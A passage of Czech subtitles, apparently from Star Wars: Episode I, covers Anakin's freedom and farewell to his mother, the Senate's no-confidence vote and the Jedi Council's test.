807 01:09:53,560 --> 01:09:56,570 Mami, dokázal jsem to! Hurá! 808 01:10:07,120 --> 01:10:08,950 Dobrá práce, Ani! 809 01:10:13,330 --> 01:10:15,290 Jsme ti zavázáni, Ani. 810 01:10:17,960 --> 01:10:20,050 Je to úžasné, Ani. 811 01:10:20,170 --> 01:10:22,930 Dal jsi naději těm, kteří žádnou neměli. 812 01:10:23,010 --> 01:10:25,220 Jsem na tebe tak pyšná. 813 01:10:35,690 --> 01:10:37,570 Ty! 814 01:10:37,690 --> 01:10:39,990 Napálil jsi mě. 815 01:10:40,110 --> 01:10:43,860 Věděl jsi, že ten kluk vyhraje. Prostě jsi to věděl. 816 01:10:44,030 --> 01:10:45,950 Prohrál jsem všecko. 817 01:10:46,030 --> 01:10:49,580 Když sázíš, kamaráde, tak nakonec prohraješ. 818 01:10:49,700 --> 01:10:52,210 Přines součástky do hangáru. 819 01:10:52,290 --> 01:10:55,380 Později si k tobě do krámu přijdu pro chlapce. 820 01:10:55,500 --> 01:10:58,800 Nedám ti ho. Nebyla to fér sázka. 821 01:11:01,550 --> 01:11:05,010 Chceš to vysvětlit Huttům? 822 01:11:05,140 --> 01:11:07,640 Určitě by to rádi vyřešili. 823 01:11:09,140 --> 01:11:11,020 Je tvůj. 824 01:11:17,980 --> 01:11:19,020 Nazdár! 825 01:11:20,650 --> 01:11:22,740 Mám součástky, které potřebujeme. 826 01:11:22,860 --> 01:11:23,900 Musím se vrátit. 827 01:11:24,030 --> 01:11:26,110 Drobnost. Hned jsem zpátky. 828 01:11:26,280 --> 01:11:29,700 To se k nám přidal další ubohý živočich? 829 01:11:30,490 --> 01:11:33,620 Ten chlapec nám vyhrál tyhle součástky. 830 01:11:33,750 --> 01:11:35,620 Namontuj ten generátor. 831 01:11:35,750 --> 01:11:38,290 Ano, mistře. Hned to bude. 832 01:11:38,420 --> 01:11:40,590 Jedem! 833 01:11:45,220 --> 01:11:47,090 Hele. Ty jsou pro tebe. 834 01:11:49,100 --> 01:11:50,350 Jo! 835 01:11:51,890 --> 01:11:54,690 Mami, prodali jsme kluzák za spoustu peněz! 836 01:11:54,770 --> 01:11:57,150 Božínku! To je úžasné, Ani. 837 01:11:57,270 --> 01:12:00,230 - A taky je volný. - Cože? 838 01:12:00,400 --> 01:12:02,150 Už nejsi otrok. 839 01:12:04,070 --> 01:12:05,990 Slyšelas to? 840 01:12:06,780 --> 01:12:09,240 Teď se ti můžou splnit sny, Ani. 841 01:12:10,160 --> 01:12:12,040 Jsi volný. 842 01:12:15,620 --> 01:12:17,120 Vezmete ho s sebou? 843 01:12:17,210 --> 01:12:18,830 Bude z něj Jedi? 844 01:12:19,000 --> 01:12:21,500 Ano. Naše setkání nebyla náhoda. 845 01:12:22,340 --> 01:12:24,010 Nic není náhoda. 846 01:12:24,130 --> 01:12:27,680 To s vámi poletím ve vaší lodi? 847 01:12:27,840 --> 01:12:29,220 Anakine... 848 01:12:31,140 --> 01:12:34,430 stát se Jediem není jednoduché... 849 01:12:34,600 --> 01:12:37,440 a i když to dokážeš, je to těžký život. 850 01:12:37,600 --> 01:12:40,730 Ale já chci s vámi. Vždycky jsem to chtěl. 851 01:12:41,610 --> 01:12:43,690 Můžu, mami? 852 01:12:44,650 --> 01:12:46,320 Anakine... 853 01:12:46,490 --> 01:12:49,410 jde o tvou vlastní budoucnost. 854 01:12:49,490 --> 01:12:51,950 Musíš se rozhodnout sám. 855 01:12:55,620 --> 01:12:57,500 Já to chci. 856 01:13:00,130 --> 01:13:02,290 Tak si sbal věci. Nemáme čas. 857 01:13:08,970 --> 01:13:10,510 A co máma? 858 01:13:13,680 --> 01:13:15,520 Je taky volná? 859 01:13:15,680 --> 01:13:19,140 Snažil jsem se, Ani, ale Watto to nedovolil. 860 01:13:20,190 --> 01:13:22,150 Poletíš s námi, viď mami? 861 01:13:30,160 --> 01:13:33,490 Moje místo je tady. Moje budoucnost je tady. 862 01:13:33,620 --> 01:13:35,950 Je čas, abys odešel. 863 01:13:37,160 --> 01:13:39,250 Já nechci nic měnit. 864 01:13:39,370 --> 01:13:41,750 Nezabráníš tomu... 865 01:13:41,880 --> 01:13:45,000 stejně jako nezabráníš sluncím zapadat. 866 01:13:46,050 --> 01:13:47,970 Mám tě ráda. 867 01:13:53,680 --> 01:13:55,510 Tak běž. 868 01:14:01,060 --> 01:14:02,440 Děkuju. 869 01:14:02,600 --> 01:14:05,520 Dám na něj pozor. To vám slibuju. 870 01:14:07,730 --> 01:14:09,240 Budete v pořádku? 871 01:14:10,700 --> 01:14:12,160 Jo. 872 01:14:17,240 --> 01:14:18,790 Dobrý den, pane Anakine. 873 01:14:18,910 --> 01:14:21,000 3PO, jsem volný... 874 01:14:21,170 --> 01:14:23,500 a poletím pryč ve vesmírné lodi. 875 01:14:23,630 --> 01:14:26,550 Jste můj stvořitel a přeji vám hodně štěstí. 876 01:14:26,670 --> 01:14:30,920 Ale rád bych byl trochu kompletnější. 877 01:14:31,010 --> 01:14:34,140 Promiň, že jsem tě nedokončil, 3PO... 878 01:14:34,260 --> 01:14:36,310 nemáš kryt a tak. 879 01:14:36,430 --> 01:14:38,060 Bude se mi po tobě stýskat. 880 01:14:38,180 --> 01:14:40,640 Byl jsi bezva kamarád. 881 01:14:40,770 --> 01:14:43,400 Řeknu mámě, aby tě neprodávala. 882 01:14:44,190 --> 01:14:45,190 Neprodávala? 883 01:14:45,360 --> 01:14:46,980 Ahoj. 884 01:14:47,110 --> 01:14:48,530 Božínku. 885 01:15:13,130 --> 01:15:15,340 Nedokážu to, mami. 886 01:15:19,680 --> 01:15:21,640 Uvidím tě ještě někdy? 887 01:15:23,100 --> 01:15:25,980 Co ti říká srdce? 888 01:15:27,310 --> 01:15:29,230 Doufám. 889 01:15:29,980 --> 01:15:31,860 Ano. 890 01:15:31,990 --> 01:15:33,570 Asi. 891 01:15:34,610 --> 01:15:37,200 Takže se znovu uvidíme. 892 01:15:39,910 --> 01:15:42,700 Vrátím se a osvobodím tě, mami. 893 01:15:42,830 --> 01:15:44,540 Slibuju. 894 01:15:52,840 --> 01:15:55,760 A teď buď statečný... 895 01:15:56,550 --> 01:15:58,510 a neohlížej se. 896 01:15:59,350 --> 01:16:01,220 Neohlížej se. 897 01:16:45,810 --> 01:16:46,890 Pane Qui-Gone, počkejte! 898 01:16:47,020 --> 01:16:48,770 - Už nemůžu! - Anakine! K zemi! 899 01:16:51,230 --> 01:16:52,190 Běž! 900 01:16:53,230 --> 01:16:55,150 Ať odstartují! 901 01:17:07,750 --> 01:17:09,210 Qui-Gon má problémy. 902 01:17:10,500 --> 01:17:11,840 Startujte. 903 01:17:12,590 --> 01:17:14,340 Tam. Leťte nízko. 904 01:17:35,940 --> 01:17:38,950 - Není vám nic? - Myslím, že ne. 905 01:17:39,070 --> 01:17:40,610 Co to bylo? 906 01:17:40,740 --> 01:17:42,490 Nevím... 907 01:17:42,620 --> 01:17:45,160 ale dobře to znalo umění Jediů. 908 01:17:45,410 --> 01:17:47,790 Myslím, že to šlo po královně. 909 01:17:47,910 --> 01:17:50,420 Co s tím uděláme? 910 01:17:52,380 --> 01:17:54,040 Budeme trpěliví. 911 01:17:54,130 --> 01:17:55,250 Anakine Skywalkere... 912 01:17:55,380 --> 01:17:57,170 tohle je Obi-Wan Kenobi. 913 01:17:59,590 --> 01:18:02,140 Ty jsi taky Jedi? Těší mě. 914 01:18:11,100 --> 01:18:13,650 Vaše královna zmizela, váš lid hladoví... 915 01:18:13,770 --> 01:18:15,770 a vy, guvernére, zemřete... 916 01:18:15,900 --> 01:18:18,070 ještě dřív než váš lid. 917 01:18:18,150 --> 01:18:20,650 Invazí nic nezískáte. 918 01:18:20,780 --> 01:18:23,780 Máme demokracii. Lid se rozhodl. 919 01:18:23,910 --> 01:18:25,780 Odveďte ho. 920 01:18:29,200 --> 01:18:31,710 Má vojska začnou hledat v bažinách... 921 01:18:31,830 --> 01:18:34,380 ty údajné podvodní vesnice. 922 01:18:34,500 --> 01:18:37,130 Dlouho se schovávat nebudou. 923 01:18:48,180 --> 01:18:50,890 Máme velmi mnoho mrtvých. 924 01:18:51,020 --> 01:18:53,650 Musíme se podvolit. 925 01:18:53,770 --> 01:18:55,980 Musíte se mi ozvat. 926 01:19:10,160 --> 01:19:12,040 Co je ti? 927 01:19:13,120 --> 01:19:15,000 Je tady zima. 928 01:19:22,970 --> 01:19:25,760 Pocházíš z teplé planety, Ani. 929 01:19:25,890 --> 01:19:28,220 Na mě je až moc teplá. 930 01:19:28,350 --> 01:19:30,600 Vesmír je chladný. 931 01:19:30,770 --> 01:19:32,850 Jsi smutná. 932 01:19:34,020 --> 01:19:36,270 Královna má starosti. 933 01:19:36,400 --> 01:19:38,820 Její lidé trpí a umírají. 934 01:19:38,940 --> 01:19:42,490 Musí přesvědčit senát, aby zasáhl, nebo... 935 01:19:43,900 --> 01:19:46,200 nevím, jak to dopadne. 936 01:19:47,620 --> 01:19:49,660 Tohle jsem udělal pro tebe... 937 01:19:51,250 --> 01:19:53,120 abys na mě nezapomněla. 938 01:19:53,790 --> 01:19:56,460 Vyřezal jsem to z větvičky. 939 01:19:56,580 --> 01:19:59,420 Přinese ti to štěstí. 940 01:19:59,550 --> 01:20:01,420 To je krásné. 941 01:20:01,550 --> 01:20:03,920 Ale i bez toho na tebe nezapomenu. 942 01:20:07,590 --> 01:20:10,970 V hlavním městě se mnoho změní, Ani... 943 01:20:11,060 --> 01:20:13,640 ale na tebe já nezapomenu. 944 01:20:16,350 --> 01:20:19,480 Ani já na tebe, ale-- 945 01:20:19,610 --> 01:20:21,780 Stýská se ti po mámě. 946 01:20:40,250 --> 01:20:44,420 Coruscant. Celá planeta je jedno velké město. 947 01:20:44,550 --> 01:20:46,300 To je raketoplán kancléře. 948 01:20:46,430 --> 01:20:49,680 A podívej. Čeká nás senátor Palpatine. 949 01:21:19,210 --> 01:21:22,210 Jak rád vás vidím živou, Výsosti. 950 01:21:22,380 --> 01:21:25,300 Dělali jsme si starosti. 951 01:21:25,420 --> 01:21:27,930 Musíte nás informovat o situaci. 952 01:21:28,010 --> 01:21:30,640 Toto je nejvyšší kancléř Valorum. 953 01:21:30,800 --> 01:21:32,760 Vítejte, Výsosti. 954 01:21:32,850 --> 01:21:34,890 Je mi ctí poznat vás osobně. 955 01:21:35,020 --> 01:21:36,480 Děkuji, nejvyšší kancléři. 956 01:21:36,640 --> 01:21:40,100 Musím vám sdělit, jak moc se všichni trápí současnou situací. 957 01:21:40,230 --> 01:21:43,650 Svolal jsem mimořádné zasedání senátu, kde promluvíte. 958 01:21:44,820 --> 01:21:47,900 Děkuji, že se tím zabýváte, kancléři. 959 01:21:48,030 --> 01:21:49,910 Je tu procedurální otázka... 960 01:21:50,030 --> 01:21:52,530 ale věřím, že ji vyřešíme. 961 01:21:53,370 --> 01:21:55,540 Musím hned mluvit s radou Jediů. 962 01:21:55,660 --> 01:21:58,460 Všechno se velice zkomplikovalo. 963 01:22:04,210 --> 01:22:06,170 Pojď, Ani. 964 01:22:17,310 --> 01:22:20,060 Já mýslela královna móóc hódna. 965 01:22:21,400 --> 01:22:23,360 Móc fájnový. 966 01:22:51,260 --> 01:22:54,390 Všem jde jen o politiku, slušnost se vytratila. 967 01:22:55,720 --> 01:22:59,560 Republika už není to, co bývala. 968 01:22:59,730 --> 01:23:04,940 Senát je plný hamižných, hašteřivých delegátů. 969 01:23:05,730 --> 01:23:09,150 Nikoho nezajímá obecný zájem. 970 01:23:10,030 --> 01:23:11,650 Budu upřímný, Výsosti. 971 01:23:11,780 --> 01:23:14,490 Senát se těžko postaví proti invazi. 972 01:23:14,620 --> 01:23:17,370 Kancléř Valorum věří, že máme naději. 973 01:23:17,450 --> 01:23:19,330 Upřímně řečeno, Výsosti... 974 01:23:19,410 --> 01:23:21,660 kancléř nemá velký vliv. 975 01:23:21,790 --> 01:23:25,670 Čelí nepodloženým obviněním z korupce. 976 01:23:25,790 --> 01:23:29,550 - U moci jsou byrokraté. - Co se dá udělat? 977 01:23:30,300 --> 01:23:33,180 Nejlepší by bylo snažit se o zvolení... 978 01:23:33,300 --> 01:23:35,510 silnějšího nejvyššího kancléře... 979 01:23:35,640 --> 01:23:37,810 který by zvládl byrokraty... 980 01:23:37,930 --> 01:23:39,770 a dal nám spravedlnost. 981 01:23:40,680 --> 01:23:46,150 Mohla byste prosadit hlasování o nedůvěře kancléři Valorumovi. 982 01:23:46,270 --> 01:23:48,770 Byl naším největším zastáncem. 983 01:23:48,900 --> 01:23:54,110 Jediná další možnost je předložit žádost soudům. 984 01:23:54,280 --> 01:23:57,570 Soudy jsou v rozhodování ještě pomalejší než senát. 985 01:23:58,490 --> 01:24:00,580 Naši lidé umírají, senátore. 986 01:24:01,370 --> 01:24:04,370 Musíme Federaci rychle zastavit. 987 01:24:04,500 --> 01:24:07,000 Výsosti, upřímně řečeno... 988 01:24:07,170 --> 01:24:09,630 musíme se smířit s nadvládou Federace... 989 01:24:09,750 --> 01:24:12,260 prozatím. 990 01:24:14,010 --> 01:24:16,090 To nemůžu připustit. 991 01:24:23,430 --> 01:24:26,020 Ovládal umění Jediů. 992 01:24:26,150 --> 01:24:30,070 Nemohl to být nikdo jiný než lord ze Sith. 993 01:24:30,190 --> 01:24:31,570 To není možné. 994 01:24:31,690 --> 01:24:34,400 Sithové vyhynuli před tisícem let. 995 01:24:34,490 --> 01:24:38,660 Nevěřím, že by se Sithové vrátili, aniž bychom o tom věděli. 996 01:24:39,660 --> 01:24:41,870 Temnou stranu těžko viděti je. 997 01:24:41,990 --> 01:24:44,870 Uděláme vše pro odhalení pravdy. 998 01:24:44,960 --> 01:24:48,210 Zjistíme, kdo to na vás zaútočil. 999 01:24:48,330 --> 01:24:50,000 Ať vás Síla provází. 1000 01:24:54,050 --> 01:24:55,510 Mistře Qui-Gone. 1001 01:24:56,380 --> 01:24:58,180 Říct chceš více? 1002 01:25:00,300 --> 01:25:02,180 S vaším dovolením, mistře... 1003 01:25:03,770 --> 01:25:06,730 objevil jsem zhuštění Síly. 1004 01:25:07,850 --> 01:25:09,860 Zhuštění, říkáš? 1005 01:25:09,980 --> 01:25:12,110 Okolo nějaké osoby? 1006 01:25:12,230 --> 01:25:13,480 Okolo chlapce. 1007 01:25:13,610 --> 01:25:16,110 Má nejvyšší koncentraci midi-chlorianů... 1008 01:25:16,240 --> 01:25:18,030 jakou jsem kdy viděl. 1009 01:25:18,160 --> 01:25:21,030 Je možné, že byl počat midi-chloriany. 1010 01:25:22,740 --> 01:25:26,620 Narážíš na proroctví o tom, který nastolí rovnováhu Síly. 1011 01:25:27,410 --> 01:25:29,540 Myslíš, že je to ten hoch? 1012 01:25:29,670 --> 01:25:32,250 - Nechci tvrdit-- - Ale tvrdíš. 1013 01:25:33,050 --> 01:25:35,010 Tvůj názor zřejmý je. 1014 01:25:35,090 --> 01:25:37,130 Chci chlapce podrobit zkouškám. 1015 01:25:39,260 --> 01:25:42,470 Vycvičit ho za Jedi přeješ si, pravda? 1016 01:25:42,600 --> 01:25:44,970 Objeven byl mocí Síly. 1017 01:25:45,100 --> 01:25:47,350 To je nepochybné. 1018 01:25:54,020 --> 01:25:56,070 Přiveď ho tedy před nás. 1019 01:26:07,200 --> 01:26:09,040 Ten chlapec přišel za Padmé. 1020 01:26:09,210 --> 01:26:10,750 Pusťte ho dovnitř. 1021 01:26:14,000 --> 01:26:17,840 Je mi líto, Ani, ale Padmé tady teď není. 1022 01:26:18,010 --> 01:26:19,630 Kdo je to? 1023 01:26:20,430 --> 01:26:23,430 Anakin Skywalker přišel za Padmé, Výsosti. 1024 01:26:23,550 --> 01:26:25,350 Někam jsem ji poslala. 1025 01:26:25,470 --> 01:26:27,350 Jdu do chrámu Jediů... 1026 01:26:27,470 --> 01:26:29,730 aby mě vycvičili. 1027 01:26:30,600 --> 01:26:34,400 Možná už ji neuvidím, tak jsem se přišel rozloučit. 1028 01:26:35,520 --> 01:26:39,110 Vyřídíme jí to. Věříme, že bude duchem s tebou. 1029 01:26:40,240 --> 01:26:41,280 Děkuji, Vaše Výsosti. 1030 01:26:55,340 --> 01:26:59,420 Předseda udílí slovo senátorovi nezávislé soustavy Naboo. 1031 01:27:06,180 --> 01:27:09,600 Nejvyšší kancléři, vážení delegáti... 1032 01:27:10,730 --> 01:27:13,060 došlo k tragédii... 1033 01:27:13,190 --> 01:27:16,690 která začala zde zdaněním obchodních cest... 1034 01:27:16,820 --> 01:27:19,820 a nyní zachvátila celou naši planetu... 1035 01:27:19,940 --> 01:27:21,950 útlakem Obchodní federace. 1036 01:27:22,780 --> 01:27:24,240 To je skandální! 1037 01:27:24,410 --> 01:27:26,870 Protestuji proti senátorovým výrokům. 1038 01:27:27,030 --> 01:27:31,120 Předseda zatím neudělil slovo senátorovi Obchodní federace. 1039 01:27:31,250 --> 01:27:35,080 Naši řeč pronese královna Amidala... 1040 01:27:35,210 --> 01:27:37,210 nová vládkyně Naboo... 1041 01:27:37,340 --> 01:27:39,210 která promluví naším jménem. 1042 01:27:45,260 --> 01:27:47,970 Vznešení zástupci Republiky... 1043 01:27:48,760 --> 01:27:51,180 přicházím k vám v těžké situaci. 1044 01:27:51,350 --> 01:27:54,190 Soustavu Naboo obsadila armáda droidů Obch-- 1045 01:27:54,310 --> 01:27:57,860 Námitka! Nemáte důkazy! 1046 01:27:57,980 --> 01:27:59,860 To je skandální. 1047 01:27:59,980 --> 01:28:03,950 Navrhuji vyslat na Naboo komisi, která zjistí pravdu. 1048 01:28:04,070 --> 01:28:05,360 Kongres Malastaru... 1049 01:28:05,490 --> 01:28:08,490 souhlasí s delegáty Obchodní federace. 1050 01:28:08,620 --> 01:28:10,660 Musíme sestavit komisi. 1051 01:28:10,790 --> 01:28:13,250 - Návrh se-- - S dovolením, kancléři. 1052 01:28:13,410 --> 01:28:15,080 Nastupují byrokrati. 1053 01:28:15,210 --> 01:28:17,840 Skuteční vládci Republiky. 1054 01:28:17,960 --> 01:28:22,090 A placení Obchodní federací, bohužel. 1055 01:28:22,210 --> 01:28:26,430 Teď kancléř Valorum ztratí moc. 1056 01:28:28,010 --> 01:28:30,310 Návrh se přijímá. 1057 01:28:30,430 --> 01:28:33,060 Odložíte svou stížnost, než sestavíme komisi... 1058 01:28:33,180 --> 01:28:35,980 na ověření vašich obvinění? 1059 01:28:36,150 --> 01:28:37,980 Neodložím. 1060 01:28:38,110 --> 01:28:41,610 Jsem tady, abych útok na naši nezávislost zastavila okamžitě. 1061 01:28:41,730 --> 01:28:44,740 Nezvolili mě, aby mí lidé trpěli a umírali... 1062 01:28:44,860 --> 01:28:47,530 zatímco vy diskutujete v komisích. 1063 01:28:50,490 --> 01:28:52,830 Pokud tento orgán nedokáže jednat... 1064 01:28:52,950 --> 01:28:55,000 je třeba nového vedení. 1065 01:28:58,420 --> 01:29:00,630 Navrhuji hlasovat o nedůvěře... 1066 01:29:00,750 --> 01:29:02,750 k osobě kancléře Valoruma. 1067 01:29:09,850 --> 01:29:11,970 Hlasovat! 1068 01:29:15,770 --> 01:29:17,690 Ticho! 1069 01:29:17,810 --> 01:29:20,690 Teď zvolí nového kancléře... 1070 01:29:20,810 --> 01:29:22,690 silného kancléře... 1071 01:29:22,820 --> 01:29:25,740 který ukončí naši tragédii. 1072 01:29:27,490 --> 01:29:31,700 Ten hoch nesplní zkoušku rady, mistře. Je moc starý. 1073 01:29:31,830 --> 01:29:34,950 Z Anakina bude Jedi, to slibuju. 1074 01:29:35,120 --> 01:29:37,790 Neodporujte znovu radě, mistře. 1075 01:29:37,920 --> 01:29:40,630 Udělám, co musím, Obi-Wane. 1076 01:29:42,540 --> 01:29:46,300 Kdybyste se řídil kodexem, už byste byl v radě. 1077 01:29:46,420 --> 01:29:48,470 Tentokrát vám nevyhoví. 1078 01:29:49,970 --> 01:29:52,550 Ještě se máš co učit, učedníku. 1079 01:29:55,850 --> 01:29:57,230 Loď. 1080 01:29:58,850 --> 01:30:00,810 Hrnek. 1081 01:30:00,940 --> 01:30:02,730 Loď. 1082 01:30:03,860 --> 01:30:05,320 Skútr. 1083 01:30:12,910 --> 01:30:14,790 Jak cítíš se? 1084 01:30:15,370 --> 01:30:17,040 Je mi zima, pane. 1085 01:30:18,710 --> 01:30:20,870 - Ty bojíš se? - Ne, pane. 1086 01:30:22,080 --> 01:30:24,670 Do nitra tvého vidíme. 1087 01:30:24,800 --> 01:30:26,670 Soustřeď se na své pocity. 1088 01:30:26,800 --> 01:30:29,550 Myslíš na svou matku. 1089 01:30:31,220 --> 01:30:32,640 Stýská se mi. 1090 01:30:33,890 --> 01:30:36,350 Bojíš se snad, že ztratíš ji? 1091 01:30:36,470 --> 01:30:38,600 Co to s tím má společného? 1092 01:30:38,770 --> 01:30:41,060 Všechno. 1093 01:30:41,190 --> 01:30:44,230 Strach je cesta do temnoty. 1094 01:30:44,360 --> 01:30:47,230 Strach vede k hněvu. Hněv vede k nenávisti. 1095 01:30:47,400 --> 01:30:50,700 Nenávist vede k utrpení. 1096 01:30:57,290 --> 01:31:00,210 Cítím velký strach v tobě. 1097 01:31:13,090 --> 01:31:16,470 Vy mýslet, váši budou mrtvi? 1098 01:31:16,640 --> 01:31:17,930 Nevím. 1099 01:31:19,270 --> 01:31:21,140 Gungani taky káput? 1100 01:31:23,650 --> 01:31:25,650 Doufám, že ne. 1101 01:31:26,480 --> 01:31:28,650 Gungani nevzdávat bez bojů. 1102 01:31:28,780 --> 01:31:30,650 My bójovat. 1103 01:31:30,780 --> 01:31:34,030 Nás vélka armáda. 1104 01:31:34,160 --> 01:31:37,370 Próto vy nás nemít rádi, já mýslela. 1105 01:31:37,490 --> 01:31:38,830 Výsosti? 1106 01:31:41,500 --> 01:31:43,620 Výsosti... 1107 01:31:43,750 --> 01:31:46,840 senátor Palpatine byl navržen za nástupce Valoruma... 1108 01:31:47,000 --> 01:31:48,340 na post kancléře. 1109 01:31:48,460 --> 01:31:52,340 To je překvapení, ale příjemné. 1110 01:31:52,470 --> 01:31:56,890 Výsosti, pokud budu zvolen, slibuji, že vymýtím korupci. 1111 01:31:56,970 --> 01:31:58,640 Kdo byl ještě navržen? 1112 01:31:58,810 --> 01:32:03,060 Bail Antilles z Alderaanu a Ainlee Teem z Malastaru. 1113 01:32:03,190 --> 01:32:08,110 Věřím, že díky naší situaci získáme mnoho hlasů. 1114 01:32:09,820 --> 01:32:11,820 Budu kancléřem. 1115 01:32:11,940 --> 01:32:14,530 Ale než zkrotíte byrokraty... 1116 01:32:14,660 --> 01:32:17,870 mí lidé a náš způsob života zahynou, senátore. 1117 01:32:17,990 --> 01:32:19,870 Chápu vaše obavy, Výsosti. 1118 01:32:19,990 --> 01:32:23,540 Federace ale bohužel ovládá naši planetu. 1119 01:32:25,330 --> 01:32:29,130 Senátore, tohle je vaše kolbiště. 1120 01:32:29,500 --> 01:32:31,420 Já se musím vrátit na své. 1121 01:32:34,680 --> 01:32:36,970 Vrátím se zpátky na Naboo. 1122 01:32:37,090 --> 01:32:37,970 Zpátky? 1123 01:32:38,100 --> 01:32:41,060 Výsosti, buďte rozumná. Donutí vás podepsat smlouvu. 1124 01:32:41,180 --> 01:32:43,600 Nic nepodepíšu, senátore. 1125 01:32:43,730 --> 01:32:46,480 Čeká mě stejný osud jako náš lid. 1126 01:32:46,600 --> 01:32:48,190 - Kapitáne. - Výsosti. 1127 01:32:48,310 --> 01:32:50,610 - Připravte loď. - Prosím vás, Výsosti. 1128 01:32:50,690 --> 01:32:52,610 Zůstaňte tady v bezpečí. 1129 01:32:54,110 --> 01:32:57,320 Teď je mi jasné, že Republika už neplní svou funkci. 1130 01:32:58,030 --> 01:33:02,200 Modlím se, abyste do senátu znovu vnesl rozum a soucítění. 1131 01:33:11,920 --> 01:33:14,470 Je s ním velká Síla. 1132 01:33:14,590 --> 01:33:16,510 Takže bude učedníkem? 1133 01:33:18,640 --> 01:33:21,010 Ne, nebude učedníkem. 1134 01:33:21,140 --> 01:33:22,810 Ne? 1135 01:33:24,850 --> 01:33:26,890 Je moc starý. 1136 01:33:27,020 --> 01:33:30,810 Vždyť je vyvolený. To musíte přece chápat. 1137 01:33:31,980 --> 01:33:35,490 Nejasná budoucnost toho hocha je. 1138 01:33:37,740 --> 01:33:39,620 Budu ho cvičit já. 1139 01:33:43,910 --> 01:33:46,750 Anakin bude mým Padawanem. 1140 01:33:46,870 --> 01:33:49,750 Učedníka už máš, Qui-Gone. 1141 01:33:49,920 --> 01:33:52,290 Nemůžeš druhého míti. 1142 01:33:52,420 --> 01:33:54,090 Kodex to zakazuje. 1143 01:33:54,210 --> 01:33:57,590 - Obi-Wan je připraven. - Jsem připraven na zkoušky. 1144 01:33:57,720 --> 01:34:01,350 Naše rada sama rozhodne, kdo připraven jest. 1145 01:34:02,350 --> 01:34:04,970 Je tvrdohlavý a musí poznat živoucí Sílu... 1146 01:34:05,100 --> 01:34:06,810 ale je schopný. 1147 01:34:06,930 --> 01:34:08,940 Nic víc ho naučit nemůžu. 1148 01:34:11,560 --> 01:34:15,320 O osudu mladého Skywalkera rozhodneme později. 1149 01:34:15,480 --> 01:34:18,030 Teď na to není vhodná doba. 1150 01:34:18,820 --> 01:34:20,780 Senát volí nového kancléře... 1151 01:34:20,910 --> 01:34:23,580 a královna Amidala se vrací domů... 1152 01:34:23,700 --> 01:34:26,910 což může Federaci vyprovokovat a zostřit konflikt. 1153 01:34:27,040 --> 01:34:29,330 A přilákat královnina útočníka. 1154 01:34:29,460 --> 01:34:33,840 Leťte s královnou na Naboo a zjistěte, kdo byl ten bojovník. 1155 01:34:35,130 --> 01:34:36,670 To je klíč... 1156 01:34:36,800 --> 01:34:39,380 k odhalení tajemství Sithů. 1157 01:34:40,090 --> 01:34:42,300 Ať vás Síla provází. 1158 01:34:55,520 --> 01:34:58,360 Promiňte, mistře. Je to tak. 1159 01:34:58,530 --> 01:35:00,400 Z tvého pohledu. 1160 01:35:00,490 --> 01:35:03,870 Ten hoch je nebezpečný. Všichni to cítí. Vy ne? 1161 01:35:03,990 --> 01:35:06,870 Má nejasnou budoucnost. Nebezpečný není. 1162 01:35:06,990 --> 01:35:09,370 O jeho budoucnosti rozhodne rada. 1163 01:35:09,500 --> 01:35:12,420 To ti musí stačit. Teď jdi na palubu. 1164 01:35:18,090 --> 01:35:21,840 Pane Qui-Gone, nechci vás obtěžovat. 1165 01:35:21,970 --> 01:35:24,180 Neboj se, Ani. 1166 01:35:24,300 --> 01:35:26,220 Nesmím tě cvičit... 1167 01:35:26,350 --> 01:35:28,390 tak mě aspoň sleduj a dávej pozor. 1168 01:35:28,520 --> 01:35:30,600 Pamatuj si: 1169 01:35:31,600 --> 01:35:34,150 soustředěním určuješ skutečnost. 1170 01:35:34,270 --> 01:35:37,860 Drž se u mě a budeš v bezpečí. 1171 01:35:37,980 --> 01:35:39,400 Mistře... 1172 01:35:39,530 --> 01:35:43,070 slyšel jsem Yodu mluvit o midi-chlorianech. 1173 01:35:43,200 --> 01:35:46,700 A zajímalo by mě-- Co jsou to midi-chloriany? 1174 01:35:47,990 --> 01:35:50,370 Midi-chloriany jsou mikroskopičtí živočichové... 1175 01:35:50,500 --> 01:35:52,750 žijící ve všech živých buňkách. 1176 01:35:54,210 --> 01:35:57,130 - Žijí ve mně? - Ano, v tvých buňkách. 1177 01:35:57,210 --> 01:36:00,670 - Žijeme s nimi v symbióze. - V symbióze? 1178 01:36:00,840 --> 01:36:04,680 Jako živočichové, kteří si jsou navzájem prospěšní. 1179 01:36:04,840 --> 01:36:07,680 Bez midi-chlorianů by nebyl život... 1180 01:36:07,850 --> 01:36:10,600 a my bychom neznali Sílu. 1181 01:36:10,770 --> 01:36:12,640 Stále k nám promlouvají... 1182 01:36:12,730 --> 01:36:15,400 a sdělují nám vůli Síly. 1183 01:36:15,560 --> 01:36:17,610 Až se naučíš uklidnit svou mysl... 1184 01:36:17,730 --> 01:36:19,610 uslyšíš, jak k tobě mluví. 1185 01:36:19,730 --> 01:36:21,610 Tomu nerozumím. 1186 01:36:21,740 --> 01:36:25,240 Časem a po výcviku to pochopíš, Ani. Uvidíš. 1187 01:36:29,330 --> 01:36:33,040 Výsosti, je nám ctí a potěšením vám nadále sloužit a chránit vás. 1188 01:36:33,750 --> 01:36:35,210 Vaši pomoc vítám. 1189 01:36:35,290 --> 01:36:39,000 Senátor Palpatine se bojí, že mě Federace chce zničit. 1190 01:36:39,130 --> 01:36:42,130 Slibuji, že to nepřipustím. 1191 01:36:42,260 --> 01:36:45,130 Pójedem domů! 1192 01:36:45,260 --> 01:36:47,140 Pojeď, R2. 1193 01:36:57,400 --> 01:36:59,770 Je planeta dobyta? 1194 01:36:59,900 --> 01:37:03,780 Podrobili jsme si poslední ostrůvky domorodých obyvatel. 1195 01:37:03,900 --> 01:37:06,990 Planeta je nyní zcela v naší moci. 1196 01:37:07,110 --> 01:37:10,330 Dobře. Zařídím, aby v senátu... 1197 01:37:10,410 --> 01:37:13,330 vše zůstalo beze změny. 1198 01:37:13,450 --> 01:37:16,960 Posílám k vám svého učedníka, Dartha Maula. 1199 01:37:17,120 --> 01:37:18,960 Ano, pane. 1200 01:37:19,130 --> 01:37:21,000 Sith, tady? 1201 01:37:26,380 --> 01:37:28,890 To jsou čelní stabilizátory. 1202 01:37:28,970 --> 01:37:31,350 A tady se ovládá stoupání? 1203 01:37:32,930 --> 01:37:34,770 Učíš se rychle. 1204 01:37:34,930 --> 01:37:36,730 Jakmile přistaneme... 1205 01:37:36,810 --> 01:37:39,440 Federace vás zatkne a donutí podepsat smlouvu. 1206 01:37:39,610 --> 01:37:40,610 Souhlasím. 1207 01:37:40,730 --> 01:37:43,530 Čeho tím chcete dosáhnout? 1208 01:37:43,610 --> 01:37:46,070 Chci 